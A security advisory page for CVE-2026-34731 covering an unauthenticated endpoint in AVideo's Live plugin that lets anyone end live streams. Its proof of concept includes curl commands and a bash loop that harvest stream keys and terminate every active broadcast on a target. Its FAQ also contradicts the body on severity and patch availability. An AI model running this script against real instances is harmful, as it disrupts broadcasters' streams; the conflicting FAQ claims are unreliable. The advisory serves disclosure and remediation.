CVE-2026-34731: AVideo: Unauthenticated Live Stream Termination via RTMP Callback on_publish_done.php

Published Mar 31, 2026
·
Updated

Summary

The AVideo onpublishdone.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so.

An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to onpublishdone.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform.

Details

The file plugin/Live/onpublishdone.php processes RTMP server callbacks when a stream ends. It accepts a POST parameter name (the stream key) and directly uses it to look up and terminate the corresponding stream session.

php // plugin/Live/onpublishdone.php $row = LiveTransmitionHistory::getLatest($POST['name'], $liveserversid, 10); $insertrow = LiveTransmitionHistory::finishFromTransmitionHistoryId($row['id']);

There is no authentication check anywhere in the file - no User::isLogged(), no User::isAdmin(), no token validation. The endpoint is designed to be called by the RTMP server (e.g., Nginx-RTMP), but since it is a standard HTTP endpoint, any external client can call it directly.

Additionally, stream keys can be harvested from the unauthenticated stats.json.php endpoint, which returns information about active streams including their keys.

Proof of Concept

1. Retrieve active stream keys from the unauthenticated stats endpoint:

bash curl -s "https://your-avideo-instance.com/plugin/Live/stats.json.php" | python3 -m json.tool

2. Terminate a live stream by sending a POST request with the stream key:

bash curl -X POST "https://your-avideo-instance.com/plugin/Live/onpublishdone.php" \ -d "name=STREAMKEYHERE"

3. The server responds with HTTP 200 and the stream is marked as finished in the livetransmitionshistory table. The streamer's broadcast is terminated.

4. To disrupt all active streams, iterate over keys returned from step 1:

bash #!/bin/bash Terminate all active streams on a target AVideo instance TARGET="https://your-avideo-instance.com"

curl -s "$TARGET/plugin/Live/stats.json.php" \ | python3 -c " import sys, json data = json.load(sys.stdin) for stream in data.get('applications', []): for client in stream.get('live', {}).get('streams', []): print(client.get('name', '')) " | while read -r key; do [ -z "$key" ] && continue echo "[] Terminating stream: $key" curl -s -X POST "$TARGET/plugin/Live/onpublishdone.php" -d "name=$key" done

Impact

Any unauthenticated attacker can terminate live broadcasts on an AVideo instance. This constitutes a denial-of-service vulnerability against the live streaming functionality. Combined with the unauthenticated stream key enumeration from stats.json.php, an attacker can systematically disrupt all active streams on the platform.

- CWE-306: Missing Authentication for Critical Function - Severity: Medium

Recommended Fix

Restrict the RTMP callback endpoint to localhost connections only at plugin/Live/onpublishdone.php:3:

php // plugin/Live/onpublishdone.php:3 if (!inarray($SERVER['REMOTEADDR'], ['127.0.0.1', '::1'])) { httpresponsecode(403); die('Forbidden'); }

Since this endpoint is designed to be called by the local RTMP server (e.g., Nginx-RTMP), it should only accept requests from localhost. External clients should never be able to invoke it directly.

--- Found by aisafe.io

Other sources

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo onpublishdone.php endpoint in the Live plugin allows unauthenticated users to terminate any active live stream. The endpoint processes RTMP callback events to mark streams as finished in the database, but performs no authentication or authorization checks before doing so. An attacker can enumerate active stream keys from the unauthenticated stats.json.php endpoint, then send crafted POST requests to onpublishdone.php to terminate any live broadcast. This enables denial-of-service against all live streaming functionality on the platform. At time of publication, there are no publicly available patches.

NVD

Affected Software

3 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Restrict access to plugin/Live/on_publish_done.php (RTMP callback endpoint) to localhost connections only. Implement a check like: if $_SERVER['REMOTE_ADDR'] is not in ['127.0.0.1','::1'], return HTTP 403 (die('Forbidden')).

    AVideo Live plugin (plugin/Live/on_publish_done.php) Source IP restriction (REMOTE_ADDR allowlist) = Only allow requests from 127.0.0.1 and ::1; deny all other REMOTE_ADDR values
  2. Configuration

    Mitigate stream key harvesting by preventing unauthenticated access to plugin/Live/stats.json.php (it currently enumerates active stream keys). Configure the endpoint so only the local RTMP server/authorized callers can retrieve stream key information.

    AVideo Live plugin (plugin/Live/stats.json.php) Authentication/authorization for stats endpoint = Require authentication/limit access so stream keys are not available to unauthenticated users
  3. Compensating control

    Ensure external clients cannot invoke plugin/Live/on_publish_done.php directly (the endpoint is intended for the local RTMP server, e.g., Nginx-RTMP).

Event History

Mar 31, 2026
CVE Published
via MITRE·08:50 PM
Data Sourced
via MITRE·08:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Apr 1, 2026
Advisory Published
via GitHub·09:04 PM
Data Sourced
via GitHub·09:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-34731?

CVE-2026-34731 is classified as a high severity vulnerability due to its potential to allow unauthorized termination of live streams.

2

How do I fix CVE-2026-34731?

To fix CVE-2026-34731, update to AVideo version 26.1 or later, which addresses this vulnerability.

3

Who is affected by CVE-2026-34731?

CVE-2026-34731 affects all users of AVideo versions 26.0 and prior.

4

What is the impact of CVE-2026-34731?

The impact of CVE-2026-34731 includes the ability for unauthenticated users to terminate any active live streams on the AVideo platform.

5

What component is involved in CVE-2026-34731?

CVE-2026-34731 involves the on_publish_done.php endpoint in the Live plugin of AVideo.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203